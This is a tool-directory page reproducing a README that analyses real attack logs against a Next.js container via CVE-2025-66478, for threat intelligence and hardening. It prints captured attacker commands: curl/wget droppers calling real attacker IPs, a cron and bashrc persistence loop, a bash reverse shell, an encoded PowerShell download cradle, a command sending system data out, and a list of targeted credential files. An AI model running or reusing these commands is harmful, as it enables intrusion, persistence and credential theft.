Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66478 — Real-world attack log analysis of CVE-2025-66478 (Next.js Server Actions RCE) with malware samples, attacker IP tracking, and container security hardening lessons. | Kitploit
Tools/GitHubGitHub/exptechtw/cve-2025-66478
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationForensicsMalware AnalysisThreat IntelligenceLearning & EducationIncident Response
GitHubexptechtw/cve-2025-66478

CVE-2025-66478

Real-world attack log analysis of CVE-2025-66478 (Next.js Server Actions RCE) with malware samples, attacker IP tracking, and container security hardening lessons.

21910 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2025-66478 - Analysis of Real Attack Logs for Next.js Server Actions RCE Vulnerability

Overview

This project collects real attack logs recorded from a Next.js 15.1.2 application (running in a Docker container) exposed to the internet. These logs show how the CVE-2025-66478 vulnerability is being extensively scanned and exploited by automated attack tools in the wild.

Logging Period: 2025-12-04 ~ 2025-12-06 (approximately 48 hours)

Environment Information:

  • Framework: Next.js 15.1.2
  • Runtime: Bun v1.2.20
  • Container: Docker (Alpine Linux)
  • Timezone: Asia/Taipei

Attack Type Statistics

1. Malware Download and Execution (Dropper/Downloader)

Attackers attempted to execute commands to download and run malware via the vulnerability.

Attack Source IPMalicious Payload URLDescription
216.158.232.43http://216.158.232.43:12000/sex.shBotnet/Cryptominer
38.207.161.212http://38.207.161.212/agentMalicious agent program
43.156.63.124http://43.156.63.124/tsdCron backdoor implant
154.38.121.219res.qiqigece.top/nginx3Malware disguised as nginx
47.79.42.91iot.632313373.xyz/nz.shIoT botnet script
47.79.65.237sup001.oss-cn-hongkong.aliyuncs.com/python1.shMining/Backdoor program
103.135.101.15http://103.135.101.15/wocaosinm.shMalicious script
38.12.24.231http://38.12.24.231/kworkerMalware disguised as kernel worker
128.199.194.97http://128.199.194.97:9001/setup2.shSetup script

Example Attack Commands

# Typical dropper attack
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# Implant cron persistence backdoor
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# Complex persistence attack (multiple download methods + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. Reverse Shell

Attackers attempted to establish reverse shell connections for interactive access.

# Bash reverse shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. PowerShell Attacks (Misjudged Windows Targets)

Attackers assumed the target was a Windows system and attempted to execute PowerShell commands.

# Base64-encoded malicious PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# Decoded:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# Mathematical calculations for vulnerability confirmation
powershell -c "41*271"      # = 11111 (signature confirmation)
powershell -c "44225*41002" # = 1814113450

4. Information Gathering

Attackers attempted to collect system information for subsequent attacks.

# Collect system info and exfiltrate
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. Credential Harvesting

Attackers attempted to read various sensitive files and credentials.

Sensitive Paths Attempted

CategoryPath
Cloud Credentials/root/.aws/credentials, /root/.aws/config
/root/.config/gcloud/credentials.db
/root/.config/gcloud/application_default_credentials
SSH Keys/root/.ssh/id_rsa, /root/.ssh/config
Git Credentials/root/.git-credentials, /root/.gitconfig
Container/K8s/root/.docker/config, /root/.kube/config
/var/lib/kubelet/config.yaml
Applications/proc/self/cwd/serviceAccountKey.json (Firebase)
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma
Shell History/root/.bash_history, /root/.zsh_history
Cloud Tools/root/.ossutilconfig (Alibaba Cloud OSS)
/root/.npmrc
System Configuration/etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow

6. Environment Variable Leakage

Container environment variables successfully exfiltrated through the vulnerability:

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. DNS Exfiltration

Attackers used DNS queries for data exfiltration or vulnerability confirmation:

ping 5a58e4a0.log.dnslog.pp.ua.

Reasons for Attack Failures

Most attacks failed due to the minimal nature of the Alpine Linux container:

Missing ToolImpact
curlUnable to download malicious payloads
bashUnable to execute bash-specific syntax (e.g., reverse shell)
powershellWindows attacks ineffective
pythonCannot use Python downloader

Although wget is available, some malicious scripts internally rely on curl or bash, leading to execution failure.


Base64 Decoding Examples

The logs contain large amounts of Base64-encoded data. Below are some decoded results:

System Information Exfiltration

# digest: 'cm9vdAo='
Decoded: root

# digest: 'dGVzdAo='
Decoded: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decoded: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decoded: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Directory Listing Exfiltration

# /tmp directory contents
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

Decoded:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Attack Source IP Statistics

Below are the recorded attack source IP addresses:

IP AddressCountry/Region (Estimated)Attack Type
216.158.232.43United StatesDropper
38.165.44.205United StatesDropper
23.95.44.80United StatesDropper
154.38.121.219Hong KongMalware (nginx3)
38.207.161.212United StatesAgent
43.156.63.124ChinaCron Backdoor
47.79.42.91China (Alibaba Cloud)IoT Botnet
47.79.65.237China (Alibaba Cloud)Mining Program
119.45.243.154China (Tencent Cloud)Mining Program
144.22.210.54BrazilDropper
217.60.249.228SwedenDropper
154.26.192.32United StatesReverse Shell
156.234.209.103UnknownPowerShell Payload
38.60.212.106United StatesInformation Gathering
103.135.101.15VietnamBotnet
128.199.194.97Singapore (DigitalOcean)Setup Script
38.12.24.231United StatesPersistent Malware

Exploitation Techniques (Attack Vectors)

Server Action Calls

Download Tool